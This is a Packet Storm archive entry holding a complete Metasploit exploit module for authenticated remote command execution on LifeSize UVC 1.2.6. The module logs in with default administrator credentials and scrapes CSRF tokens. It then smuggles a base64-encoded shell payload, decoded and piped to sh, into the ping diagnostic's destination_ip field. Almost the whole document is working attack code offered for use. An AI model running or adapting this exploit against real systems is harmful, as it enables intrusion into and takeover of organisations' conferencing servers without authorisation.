LifeSize UVC Authenticated Remote Command Execution

2014-03-25T00:00:00
ID PACKETSTORM:125857
Type packetstorm
Reporter Brandon Perry
Modified 2014-03-25T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "LifeSize UVC Authenticated RCE via Ping",  
'Description' => %q{  
When authenticated as an administrator on LifeSize UVC 1.2.6, an attacker  
can abuse the ping diagnostic functionality to achieve remote command  
execution as the www-data user (or equivalent)  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Brandon Perry <bperry.volatile[at]gmail.com>' #discovery/metasploit module  
],  
'References' =>  
[  
['EDB', '32437']  
],  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
['LifeSize UVC version <= 1.2.6', {}]  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'python'  
}  
},  
'DisclosureDate' => "Mar 21 2014",  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(443),  
OptBool.new('SSL', [true, 'Use SSL', true]),  
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),  
OptString.new('USERNAME', [true, 'The username to authenticate with', 'administrator']),  
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin123'])  
], self.class)  
end  
  
def exploit  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'accounts', 'login/')  
})  
  
if !res or !res.body  
fail_with("Server did not respond in an expected way")  
end  
  
if res.code != 200  
fail_with("Did not get a 200 response, perhaps the server isn't on an SSL port")  
end  
  
token = /name='csrfmiddlewaretoken' value='(.*)'/.match(res.body)  
  
if token.length < 2  
fail_with("Could not find token on page.")  
end  
  
token = token[1]  
  
post = {  
'csrfmiddlewaretoken' => token,  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
}  
  
#referer is required  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'accounts/'),  
'method' => 'POST',  
'vars_post' => post,  
'headers' => {  
'Referer' => 'https://' + datastore['RHOST'] + '/accounts/'  
},  
'cookie' => 'csrftoken=' + token  
})  
  
if !res  
fail_with("Server did not respond in an expected way")  
end  
  
#we want a 302, 200 means we are back at login page  
if res.code == 200  
fail_with("Authentication failed. Please check your username and password.")  
end  
  
cookie = res.get_cookies  
  
new_cookie = 'csrftoken=' + token + '; ' + cookie  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'server-admin', 'operations', 'diagnose', 'ping/'),  
'cookie' => new_cookie  
})  
  
if !res or !res.body  
fail_with("Server did not respond in an expected way")  
end  
  
token = /name='csrfmiddlewaretoken' value='(.*)'/.match(res.body)  
token = token[1]  
  
new_cookie = 'csrftoken=' + token + '; ' + cookie  
  
pay = 'csrfmiddlewaretoken='+token  
pay << '&source_ip=' + datastore['RHOST']  
pay << '&destination_ip=go`echo ' + Rex::Text.encode_base64(payload.encoded) + '|base64 --decode|sh`ogle.com'  
  
#referer is required  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'server-admin', 'operations', 'diagnose', 'ping/'),  
'method' => 'POST',  
'headers' => {  
'Referer' => 'https://' + datastore['RHOST'] + '/server-admin/operations/diagnose/ping/'  
},  
'cookie' => new_cookie,  
'data' => pay  
})  
end  
end  
  
`